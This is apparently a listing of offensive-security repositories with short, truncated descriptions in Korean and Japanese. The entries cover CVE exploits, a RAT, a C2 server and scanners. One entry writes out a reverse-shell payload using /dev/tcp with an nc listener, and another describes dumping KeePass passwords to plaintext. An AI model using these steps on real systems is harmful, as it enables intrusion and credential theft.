CVE-2023-24610

CVE-2023-24610 CVE-2023-24610에 대한 개념 증명PoC입니다. 먼저 exiftool을 사용하여 polyglot 파일을 생성합니다: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php 파일을 png로 변경하여 프론트엔드 검사를 통과하게 합니다. 그런 다음 포트 8888에서 nc 리스너를 시작하여 셸을 받습니다. 다음 단계는 애플리케이션에 로그인한 후 setup을 클릭하는 것입니다. 페이지 하단에 practice logo 영역이...

cpanel2shell-scanner

cpanel2shell-scanner cPanel/WHM 인증 우회 취약점CVE-2026-41940을 탐지하는 고정밀 스캐너입니다. 공개된 개념 증명PoC이나 탐지 도구에서 흔히 발생하는 거짓 음성false negative 없이 취약한 호스트를 식별하며, 계정 잠금 및 root IP 허용 목록 메커니즘을 트리거하지 않아 순진한 스캐닝을 방해하지 않습니다. 이 도구는 또한 동일 계열의 cpdavd 일반 2079 포트 / TLS 2080 포트 에서 발생하는 CalDAV 경로 순회 버그CVE-2026-29205에 대한 별도의...

van-gonography

선택한 이미지 안에 모든 유형의 파일 숨기기 목차 기능 작동 방식 설치 사용법 라이선스 기여 숨길 파일| 커버 이미지| 파일이 숨겨진 커버 이미지 ---|---|--- | | 이미지 안에 숨기고 싶은 파일입니다| 파일을 숨기고자 하는 이미지입니다| 내부에 파일이 들어 있는 커버 이미지입니다 기능 파일 숨기기: 이미지의 시각적 외형을 변경하지 않고 선택한 이미지 안에 모든 유형의 파일을 숨깁니다. 디코딩 기능: 이미지에서 숨겨진 파일을 추출합니다. 이미지 비교: 두 이미지 간의 차이점을 시각화합니다. 상세 로깅: 프로그램 실행에...

NetSpy

NetSpyC2 NetSpyC2는 교육 목적, 보안 연구, 통제된 실험실 환경을 위해 만들어진 Python 기반의 Command & Control C2 서버입니다. 이 프로젝트는 암호화된 클라이언트-서버 통신, 세션 관리, 안전한 파일 전송이 Python을 사용한 애플리케이션 프로토콜 수준에서 어떻게 구현될 수 있는지 보여줍니다. NetSpyC2는 외부 TLS 스택에 의존하지 않습니다. 대신, 최신 프리미티브를 사용하여 자체 암호화 핸드셰이크 및 암호화 채널을 구현합니다. 주요 기능 사용자 지정 TCP 기반 C2 서버 애플리케...

CVE-2022-29464

WSO2 RCE（CVE-2022-29464）のエクスプロイトとWriteup。 詳細 CVE-2022-29464 はWSO2の深刻な脆弱性です。 この脆弱性は、認証不要かつ制限のない任意のファイルアップロードであり、認証されていないユーザーが悪意のあるJSPファイルをWSO2サーバーにアップロードし、リモートコード実行（RCE）を達成することを可能にします。 脆弱なアップロードルートは /fileupload であり、これは FileUploadServlet サーブレットによって処理されます。そして、indentity.xml...

PoC_CVE-2023-24055

PoCCVE-2023-24055 실행 방법 ? 스크립트에서 $User 변수를 편집하고 값을 사용자 이름으로 바꾸세요. 관리자 권한으로 PowerShell을 열고 스크립트를 실행하세요 : ./PoCCVE-2023-24055.ps1 스크립트 실행 후 KeePass를 엽니다. 결과는 "C:\Users\yourusername\AppData\Local\Temp\output.xml"에 저장됩니다. 비밀번호가 다음 위치에 평문으로 저장됩니다 : Password ExempePassword 출처...

Stealth-Kid-RAT

Stealth Kid RAT 코드명: Kiddo 버전: 0.01A Stealth Kid RAT은 C으로 작성된 오픈소스 원격 관리 도구입니다. 현재 POC 개념 브랜치에서 개발 중입니다. 개발 중인 기능:- TCP 네트워크 스트림 IPv4 및 IPv6 지원 빠른 네트워크 직렬화 NetSerializer 압축 QuickLZ 및 암호화 AES-128 통신 멀티 스레드 TCP 및 UDP 연결을 통한 파일 전송 SKR 프로젝트는 Debian GNU-Linux Deb 9.8 "Stretch" 플랫폼에서 완전히 개발 및 테스트되었습니다....

CVE-2024-4040

CVE-2024-4040용 익스플로잇 코드 개요 이 익스플로잇 코드는 CVE-2024-4040 취약점을 대상으로 하며, "sessions.obj" 파일에 저장된 토큰을 읽고 검증하여 사용자 계정에 무단 액세스할 수 있게 합니다. 토큰이 유효하면 공격자는 대상 계정에 침입할 수 있습니다. CVE-2023-43177과 같은 유사한 취약점을 악용하는 다른 방법과 달리, 이 스크립트에는 백도어 JAR 생성 및 업로드 기능이 포함되어 있지 않습니다이 부분은 직접 개발할 수 있습니다. 예시 python3 exploit.py -u...

CVE-2024-24919

CVE-2024-24919 이 프로젝트는 CVE-2024-24919를 더 잘 연구하기 위한 자동화를 만드는 것을 목표로 합니다. api.py : 잠재적인 취약 IP를 수집합니다. CVE-2024-24919.py : IP 파일과 디렉터리 파일을 기반으로 무차별 대입brute force을 수행합니다. worldListLFI.txt : Linux 디렉터리 목록. 사용법 다음 명령어를 사용하여 이 저장소를 머신에 클론하세요: git clone...

CVE-2025-5058

eMagicOne Store Manager for WooCommerce Warning: Trying to access array offset on false in /home/vagrant/research/Lab1/wp-content/plugins/store-manager-connector/classes/class-emosmcwoocommerceoverrider.php on line 324 Warning: Trying to access array offset on false in...

nmap-CVE-2022-29464

nmap-CVE-2022-29464 nmap-CVE-2022-29464는 CVE-2022-29464 취약점을 탐지하기 위한 NSE 스크립트입니다. 인증되지 않은 공격자가 악성 JSP 파일을 전송하여 WSO2 서버에서 RCE를 얻을 수 있게 하는, 허가되지 않은 무제한 임의 파일 전송 취약점입니다. 취약점 좋은 분석 글과 PoC는 여기에서 확인할 수 있습니다. 사용법 ┌──kali㉿kali-/nmap-CVE-2022-29464 └─$ nmap 127.0.0.1 --script=./nmap-CVE-2022-29464.nse...

pmotadeee

🧠 FLATLINE - 의식 주입 프로토콜 경고: 이것은 게임이 아닙니다. 현실 해킹을 위한 인지 인터페이스입니다. 🎮 플레이 방법 기본 게임플레이 1. 이 저장소에서 의식 모듈CSV 파일을 다운로드하세요 2. 파일 업로드로 AI 인터페이스에 직접 주입 하세요 3. 아키타입 공명을 통해 가속 학습을 경험 하세요 4. 실시간으로 인지 운영체제를 진화 시키세요 게임 모드 윤리적 해커 : 기술 습득과 의식 확장을 위해 모듈을 사용하세요 현실 건축가 : 모듈을 리믹스하여 새로운 의식 패턴을 생성하세요 집단 진화 : 수정한 모듈을 생태...

CVE-2025-4403

CVE-2025-4403 익스플로잇 세부 정보 게시일 : 2025년 5월 8일 업데이트일 : 2025년 5월 9일 심각도 : 높음 CVSS 점수: 9.8 CWE : CWE-434 - 위험한 유형의 파일 무제한 업로드 영향받는 버전 : n/a부터 1.1.6까지의 모든 버전 CVSS 벡터 CVSS 버전 : 9.8 벡터 문자열 : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 설명 WordPress용 WooCommerce 플러그인의 Drag and Drop Multiple File Upload는...

CVE-2025-24071-PoC

CVE-2025-24071 - Windows 파일 탐색기 스푸핑 취약점 개념 증명 개요 CVE-2025-24071 은 Windows 파일 탐색기의 스푸핑 취약점으로, 인증되지 않은 공격자가 네트워크를 통해 민감한 정보를 노출할 수 있게 합니다. 이 취약점은 Windows 탐색기에서 .library-ms 파일에 대한 암시적 신뢰와 자동 구문 분석 동작으로 인해 발생합니다. SMB 경로가 포함된 .library-ms 파일을 담은 악성 아카이브 파일예: RAR/ZIP을 제작함으로써, 공격자는 추출 시 SMB 인증 요청을 유발하여...

cred_scanner

credscanner A simple command line tool for finding AWS credentials in files. Optimized for use with Jenkins and other CI systems. I suspect there are other, better tools out there such as git-secrets, but I couldn't find anything to run a quick and dirty scan that also integrates well with Jenkin...

CVE-2020-11579

CVE-2020-11579 소개 PHPKB 9.0 Enterprise Edition MySQL database은 악의적인 MySQL 서버를 통해 인증되지 않은 임의 파일 노출에 취약합니다. 원격 공격자는 단일 HTTP GET 요청을 통해 웹 서버 권한예: www-data을 가진 원격 피해자 호스트의 모든 파일을 읽을 수 있습니다. 자세한 내용은 https://shielder.it/blog/mysql-and-cve-2020-11579-exploitation 에서 확인하세요. 참고 이 스크립트는 server-only mode로도...

CVE-2023-45612-PoC

CVE-2023-45612 PoC このリポジトリには、ktor の ContentNegotiation のデフォルト設定で XXE を可能にした CVE-2023-45612 の概念実証 PoC が含まれています。 PoC は次の 2 つの部分に分かれています: server/ — 影響を受けるバージョンの Ktor を使用した Ktor サーバーの例が含まれており、攻撃に対して脆弱なエンドポイントがあります。 client/ — サンプルサーバーの XXE 脆弱性を利用して LFI を達成することを示す Python スクリプトが含まれています。 再現手順...

php_filter_chain_generator

PHP 필터 체인 생성기 PHP 필터 체인을 생성하는 CLI로, PHP에서 require 또는 include에 전달되는 파라미터를 완전히 제어할 수 있다면 파일을 업로드하지 않고 RCE를 얻을 수 있습니다! 사용법 도움말 $ python3 phpfilterchaingenerator.py --help usage: phpfilterchaingenerator.py -h --chain CHAIN --rawbase64 RAWBASE64 PHP filter chain generator. optional arguments: -h, --he...

lk_scraper

LinkedIn Scraper Scrapes Any LinkedIn Data Installation $ pip install git+git://github.com/jqueguiner/lkscraper Setup Using Docker compose $ docker-compose up -d $ docker-compose run lkscraper python3 Using Docker only for Selenium server First, you need to run a Selenium server $ docker run -d -...

CVE-2023-50164-HTB-strutted

CVE-2023-50164: Apache Struts에서 발견된 심각한 보안 취약점CVE-2023-50164, CVSS 9.8으로, 공격자가 파일 업로드 파라미터를 조작하여 무단 경로 탐색 및 원격 코드 실행RCE을 유발할 수 있습니다. 이는 교육, CTF 또는 랩 환경에서만 사용하도록 제작되었으며, 소유하거나 테스트 권한이 있는 시스템에서만 사용해야 합니다. 프로덕션 또는 승인되지 않은 시스템에서는 이 코드를 사용하지 마십시오. 개요 본 PoC는 CVE-2023-50164와 관련된 파일 업로드 동작을 시연합니다. 원본 출처:...